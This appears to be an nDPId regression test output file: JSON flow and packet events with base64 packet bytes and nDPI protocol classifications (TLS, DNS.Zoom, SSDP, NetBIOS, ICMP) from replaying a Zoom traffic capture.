+00618{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":392965,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"KDc3AG3IEBMx8Tl2CABFAADC5\/dAADUGHBmnY9ekwKgBdRFS1k9+iDZSPj2FSIAYAOtSjQAAAQEICuHrc8slnM+FFgMDAFYCAABSAwNWVv3wdcE91bUYtcDqJrP1CjoibzTPRJf5EGTNFWH8ayAlA\/kunOkhTd5wsEiS6\/3fwP4i6nJuxBCdQo4WkiQHSsAwAAAK\/wEAAQAADwABARQDAwABARYDAwAo3atftrGe7Gikn4sNlGTYJoWExi90kXBz3r0qa+R1ykzjhP+iZMqKbg=="} +00849{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1569520466316,"flow_last_seen":1569520466392,"flow_tot_l4_data_len":871,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"167.99.215.164","src_port":54863,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"a795593605a13211941d44505b4d1e39","ja3s":"dd4b012f7a008e741554bd0a4ed12920","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"}} +00419{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":393050,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+Z7AqAF1p2PXpNZPEVI+PYVIfog24IAQECd54gAAAQEICiWcz6rh63PL"} +01594{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":393844,"pkt_caplen":932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":932,"pkt_l4_len":898,"pkt":"EBMx8Tl2KDc3AG3ICABFAAOWAABAAEAG9jzAqAF1p2PXpNZPEVI+PYVIfog24IAYECd\/lAAAAQEICiWcz6vh63PLFAMDAAEBFgMDACjt0t+5+syfbeJtwHr+4Vf9Pdk9tZIO6Wqf7EhUNttrQGsob1+JgYrGFwMDAyrt0t+5+syfbl10s5BstfFfqbiT1XdlTr0\/6Y1tzw2jYTu5+Qy82oCjn0S5p8LCN5rfQSZ22qnwgu2THvoo64ksNUINqJ7GYKmTkYO1B5ZYN+V+ZLq\/5dRCq\/uOGTEN516g1Zdq+4us3U0lyk1K5m8zUFul36prXSoxxjqKPPxNQGOUxyH7Qtged5AN5KcjLw\/PbtIDBuq+G6DTLdfBFblUOGQbh4PlH4kIzD1SFpvbGEp6rdaEyh0QWTJNJlM1Gk3DE4aDhLI4+6ssPSXv5Lc7HNWvPN0xrTMfPeTrqt4UuDlsKuoaQfecwdMsdMWDKmH\/uNinZABWVl5I\/CgPKYVDU8KO2d84dibWxUqcJzq7aY0anFI4RHVCRd6ah8ljPee9yLQRPAGQXvXx1FkLtBwS8kcO4eEycj8icN5mulgX9AkInnqxjm1df99ngeZKxC8hwXrs5xNKkgkHq5WvuTZLVKY08KYb30t3wPFV0qvpnFIn4qCmp76NNfXuCqBmTUWYwq1znkKywaTq7ks4yFidURtiautLW0FL7MRv5AdQ\/qZLi3xgGzx+HByOc6o7umoeKYCeELf7kclnvjZPZTJIqT5l2ZezzRKVtgAmITfKlr5L6xxAVHd3kdFm9uZ0dmTw70V9nAz+sJqtHJsAqfr2CJ3RStDEEwOcMUijnQWTqES6RjoLoY9T4ncHWxLOV9KTGwyuBe49bPlIXP4bHWLjdDbDNBLSGa0P9n9hY\/BHnqcvav\/pGxCpF68UyNyd+hEzMXtnB1yZvjrcUbNgU+wGQZxF1nN9bxod91C72ZkCoYIyQIn1ES7ybLFqrPZvOY+imddPvqQ3e+5IdMqV+8akBgPlg3zlx5VnT6KWdPhDAMFJ48FmdP3CCR7WpQwtBU6av6rXrSui6oaX5SER11tjXt8iddkN\/\/X0r0KgFkUD5\/eWUQg6BPRodE1K5\/MeLaOINj4NgouNp8b15boZrEUnEZEMRfnMa6QOhPcAvxCdjEW0bB9wxlx+wQPD56j1XisI9W5JPya+BvUoFLeZTTha\/IlTDywUHzpQmIFzU7YrBDnPod0vpDGdXRE="} +00421{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":474195,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA05\/hAADUGHKanY9ekwKgBdRFS1k9+iDbgPj2IqoAQAPmFXAAAAQEICuHrdBwlnM+r"} +00619{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":474310,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"EBMx8Tl2KDc3AG3ICABFAADDAABAAEAG+Q\/AqAF1p2PXpNZPEVI+PYiqfog24IAYECebuQAAAQEICiWcz\/rh63QcFwMDAIrt0t+5+syfbyANtWzvWcmWiTnqD9vuOC2XdgD\/kgDM99konQLCT1TeFy4e4C6mdfknOcajekLFZVyUeva4SiL97S0TKTHoK08fvguKr1gcalzvU4Lv84Zcbx2x+M7j9G+fFCeZRAD4kulEbSCVJBNSBDTreqFLWC8ju9GzTVJrJAcuQWgqzxmbR9w="} +00423{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":510676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA05\/lAADUGHKWnY9ekwKgBdRFS1k9+iDbgPj2JOYAQAQaETAAAAQEICuHrdEElnM\/6"} +02085{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":531807,"pkt_caplen":1292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1292,"pkt_l4_len":1258,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT+5\/pAADUGF9qnY9ekwKgBdRFS1k9+iDbgPj2JOYAYAQZs7QAAAQEICuHrdFUlnM\/6FwMDBMXdq1+2sZ7saSZ5Ez2ktmZLAAS27l1Ns5tILnIzPkVx5BJ5PuUlci8qtsJVNzIEJpBC9oZ0fSWeCcycy45TGN0syVOC6oVhJlBhERprppA5QPxi9mBcwYUpgUPkpUBVu8AqFV8TnAA904sRAqPYMPV4MVT7OiMXtnkWOQRkSdeziAbl2tC+dmy4RqDJwKpTdHbHuFlrWr69nF6jQmIOlUMtEfLCPkMNs4p2fsjZMwiaQFDmJLUui\/WQlwf27fEuwN9XTcsD7k90FhlBD4dR1S0iwbPcrVPs+F43OQeieXzeXEzfPBDezYAxjYHKmANsT2zIpTrS062F0e1sCx+ueWRubtnP8MRWQxhUXfyoD4FZTOIEduEJ5lYYQ9qJW0CQ1AdG+wm1x5k9K0V0aX49Q4BIP0Y8rwnSVOc92Ns2iJS837D33AmymfaQ9qrGzm7I+OOb8Ts7aUhfgDlNkoYyqYVzW8Yiow0raG\/GlE8T+rUiNns0Cy10jNGBM1v99fKcppDRp0mVskjHyydMC3xFG0f+4Q1JA5BpXnl7qTqFPCy3KvdN0C9v1gyofTfvjSsTfLPOwHrI2I9n2KnHlBQtvYujCX11Iloi1obsFx28TlgADb8QmnbHDIaYT73BQ+NpnZDHxY1Xd5q2vkiC1fd9et8aM3VYbMV4l7v9tHS2gmYZO6Qtt\/Ba+VN76CxvIix969eQrlSnr\/F2sl9hHGbH1Aa6f6cohggrLqJ1fYS7+rvFO2KwriW\/D6fRInvY3m0l\/nWPhEhk4QAexhr\/GLWEoFCAWmmUBNswJ28VWDJVfgWnaoBVZHGs74sjQbaNthUPg6TBNNe3lSlveZzsHJA2edXa4P9J0SMAOVhqUsjpeFU71iicKoPPu7lyDbY5XlBbs67EwHVlyitoHv65vGGPXRVf8PZ03DZ4xrfWXAL7io1Mb3v\/u1wtdBEUtSlVKbhCrC1QBZvcQ2\/gKHM1jsgWYc1620sw1fiWT\/A70rlyrbLvp6udZqM3QqiXJSKZAIGehIJb760vx8onwtIwJlP+yJsPP+2KMNy\/OsYbPQy3J21HWg7Ef1n+wet5XrdLFFmHKgaRT2N2jLFjZWY39QKG9z9yAEcYY2\/fHovXF24wxtwzVMsExKn0cvvUbBD11KkEmfmRY813pD3jEDV6ht5QnqFxd8ulVE1DkTqV2bk9WF8LLUCyV9QFui2NftCZ1yoRNCIckfN1XCSPtdzCff8e8fAAH7VBrPqefwHGuOdKQ0ih7iZjJZmvwf2GcuwczrInW38YGxYIb6sTpesP85b841jWxk+ZtBhoyMPqW6g2EYkv+EkEE00sj+60lHf\/hrVIk1yunDEdgZrVcmJYAOCU1X2239UfwsPTyQC\/YehU5x77tVbVT\/U\/9lYQpHUivnCxkboKa4m+IwNuAEvlT96HMKA\/8JOs+Jlxhz0Ur6ZJFA3nE5zxPhJURc94xB0NMHPVTWRttsycExhxj7lTbL63juvKEFjCV6XFO42nugduG0XF3OgxORE\/gSk7CTaolIRIbIrky5IFKmi7b+EPKALS\/9AqR9gzzghHNDWBZmFdN3d7Kx5jrmbAhdXO\/9fV5spLHnAR2Btg8DXHAIAxSqpDw+jhO1nYItQ="} +00421{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":531926,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+Z7AqAF1p2PXpNZPEVI+PYk5fog7qoAQEAFwOgAAAQEICiWc0DPh63RV"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520467,"pkt_ts_usec":785843,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":16,"source":"zoom.pcap","alias":"nDPId-test","type":34969} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"zoom.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569520467811,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"62.149.152.153","src_port":54341,"dst_port":993,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520467,"pkt_ts_usec":811636,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"EBMx8Tl2KDc3AG3ICABFAABjAABAAEAGoUnAqAF1PpWYmdRFA+E5lpAkp\/QQcoAYEABEHgAAAQEICiWc1TCZh0dJFwMDACpAXTQxH2s8yyXvpDmREm16+\/VcNt\/x\/vlsIce1k7D8R+clMelpc+AJPCA="} +00694{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":207688,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD7AABAAEAGtb7AqAF1rNkVSNZGAbt9MLg2pduNV4AYEAjTKAAAAQEICiWc1rxwmChtFgMBAMIBAAC+AwE5BEH329R9hgOe6JDNh5Do5\/IyBg\/qLeMPj9mOGNz+swAAEgAvADMANQA5wAnACsATwBRWAAEAAIP\/AQABAAAAAB0AGwAAGHd3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbQAXAAAABQAFAQAAAAAzdAAAABIAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEACwACAQAACgAKAAgAHQAXABgAGQ=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"zoom.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569520468207,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"239.255.255.250","src_port":57025,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00564{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":207892,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6KDc3AG3ICABFAACaDxkAAAER+CLAqAF17\/\/\/+t7BB2wAhjkTTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"zoom.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569520468207,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"239.255.255.250","src_port":57025,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"zoom.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569520468399,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":399032,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABgjegAAEARZ+DAqAF1wKgB\/wCJAIkATBmVRZdAEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEAAAOEAAbgAMCoAXU="} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"zoom.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569520468399,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00491{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":399187,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABgqi0AAEARS5vAqAF1wKgB\/wCJAIkATJqXRZhAEAABAAAAAAABIEVNRkZFREVCRkRDTkVKRU5FQkVEQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEAAAOEAAZgAMCoAXU="} +00491{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":399309,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABgHVYAAEAR2HLAqAF1wKgB\/wCJAIkATJqURZlAEAABAAAAAAABIEVNRkZFREVCRkRDTkVKRU5FQkVEQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEAAAOEAAZgAMCoAXU="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"zoom.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569520468922,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":64352,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":922117,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA59vgAAP8RQPTAqAF1wKgBAftgADUAJTi0e18BAAABAAAAAAAAA2xvZwR6b29tAnVzAAABAAE="} +00629{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"zoom.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569520468922,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":64352,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"log.zoom.us","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00449{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":958056,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"KDc3AG3IEBMx8Tl2CABFAABJ++kAADcRA\/TAqAEBwKgBdQA1+2AANbDee1+BgAABAAEAAAAAA2xvZwR6b29tAnVzAAABAAHADAABAAEAAAA8AAQ0yj7u"} +00655{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24,"source":"zoom.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1569520468922,"flow_last_seen":1569520468958,"flow_tot_l4_data_len":90,"flow_min_l4_data_len":37,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":64352,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"log.zoom.us","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.202.62.238"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"zoom.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1569520468959,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.238","src_port":54864,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520468,"pkt_ts_usec":959185,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGBOPAqAF1NMo+7tZQAbuf1vAbAAAAALAC\/\/+Z4QAAAgQFtAEDAwUBAQgKJZzZqwAAAAAEAgAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"zoom.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1569520469036,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":65394,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":36433,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAzKPoAAP8RDvnAqAF1wKgBAf9yADUAH9x7wYgBAAABAAAAAAAABWxvY2FsAAAGAAE="} +00620{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"zoom.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1569520469036,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":65394,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"local","num_queries":0,"num_answers":0,"reply_code":0,"query_type":6,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00419{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":67014,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0AABAAO4GVu40yj7uwKgBdQG71lCVbT6Un9bwHIASaQOUKgAAAgQFrAEBBAIBAwMM"} +00404{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":67106,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBPvAqAF1NMo+7tZQAbuf1vAclW0+lVAQIAAd\/QAA"} +00523{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":72146,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB+D5oAADcR8A7AqAEBwKgBdQA1\/3IAaoTewYiBgwABAAAAAQAABWxvY2FsAAAGAAEAAAYAAQAACY8AQAFhDHJvb3Qtc2VydmVycwNuZXQABW5zdGxkDHZlcmlzaWduLWdycwNjb20AeFjoeAAABwgAAAOEAAk6gAABUYA="} +00642{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":29,"source":"zoom.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1569520469036,"flow_last_seen":1569520469072,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":31,"flow_max_l4_data_len":106,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":65394,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"local","num_queries":1,"num_answers":1,"reply_code":3,"query_type":6,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00439{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"zoom.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1569520469072,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":72220,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4d+0AAEABfxHAqAF1wKgBAQMD\/OoAAAAARQAAfg+aAAA3EfAOwKgBAcCoAXUANf9yAGoAAA=="} +00471{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"zoom.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1569520469072,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} 